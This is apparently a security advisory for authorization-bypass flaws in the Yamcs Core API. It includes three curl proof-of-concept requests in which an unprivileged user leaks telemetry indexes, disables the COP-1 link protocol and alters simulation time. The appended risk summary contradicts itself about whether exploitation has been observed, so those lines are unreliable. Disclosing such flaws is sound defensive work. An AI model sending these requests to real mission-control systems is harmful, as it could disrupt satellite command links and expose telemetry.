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GHSA-962x-ccwf-8x6p
Summary
Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.
Details
Yamcs utilizes a robust Role-Based Access Control (RBAC) model with SystemPrivilege and ObjectPrivilege to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:
IndexesApi.java(Information Disclosure): UnlikePacketsApi.java, which filters results usingctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName), methods inIndexesApi(such aslistPacketIndexandlistEventIndex) directly retrieve and return archive records from theCcsdsTmIndexwithout verifying if the user has the required Object Privileges.Cop1Api.java(Denial of Service / Integrity): Modifying the COP-1 telecommand protocol state is an administrative action requiringSystemPrivilege.ControlLinks. However, endpoints inCop1Api(e.g.,disable,resume,initialize,updateConfig) process link state alterations without callingctx.checkSystemPrivilege(...).TimeApi.java(Denial of Service / Integrity): ThesetTimemethod allows modification of the globalSimulationTimeService(affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.
PoC
Prerequisite: Obtain valid credentials for a completely unprivileged user (e.g., user_without_priv:password with no roles assigned).
PoC 1: Extracting Packet Indexes (IndexesApi)
curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \
-u "user_without_priv:password"
Result: Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.
PoC 2: Disabling COP-1 Protocol (Cop1Api)
curl -s -X POST "http://localhost:8090/api/cop1/simulator/tc_sim:disable" \
-u "user_without_priv:password" \
-H "Content-Type: application/json" -d '{}'
Result: The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return 400 BadRequestException confirming the link does not support COP-1. The absence of a 403 Forbidden confirms the authorization bypass.
PoC 3: Manipulating Simulation Time (TimeApi)
curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \
-u "user_without_priv:password" \
-H "Content-Type: application/json" -d '{"speed": 10.0}'
Result: The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns 400 BadRequestException: Cannot set time for a non-simulation TimeService. The absence of a 403 Forbidden confirms the authorization bypass.
Impact
The vulnerability impacts instances of Yamcs exposing the REST API.
- Confidentiality: Unprivileged users can enumerate all historical telemetry packet and event metadata.
- Integrity & Availability: Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.
PoC Images:
-
Check user permission
<img width="1218" height="951" alt="image" src="https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3" /> -
Check admin permission and access API:
<img width="1768" height="555" alt="image" src="https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab" /> -
Check user no permission - get response same with user admin:
<img width="1264" height="885" alt="image" src="https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4" />
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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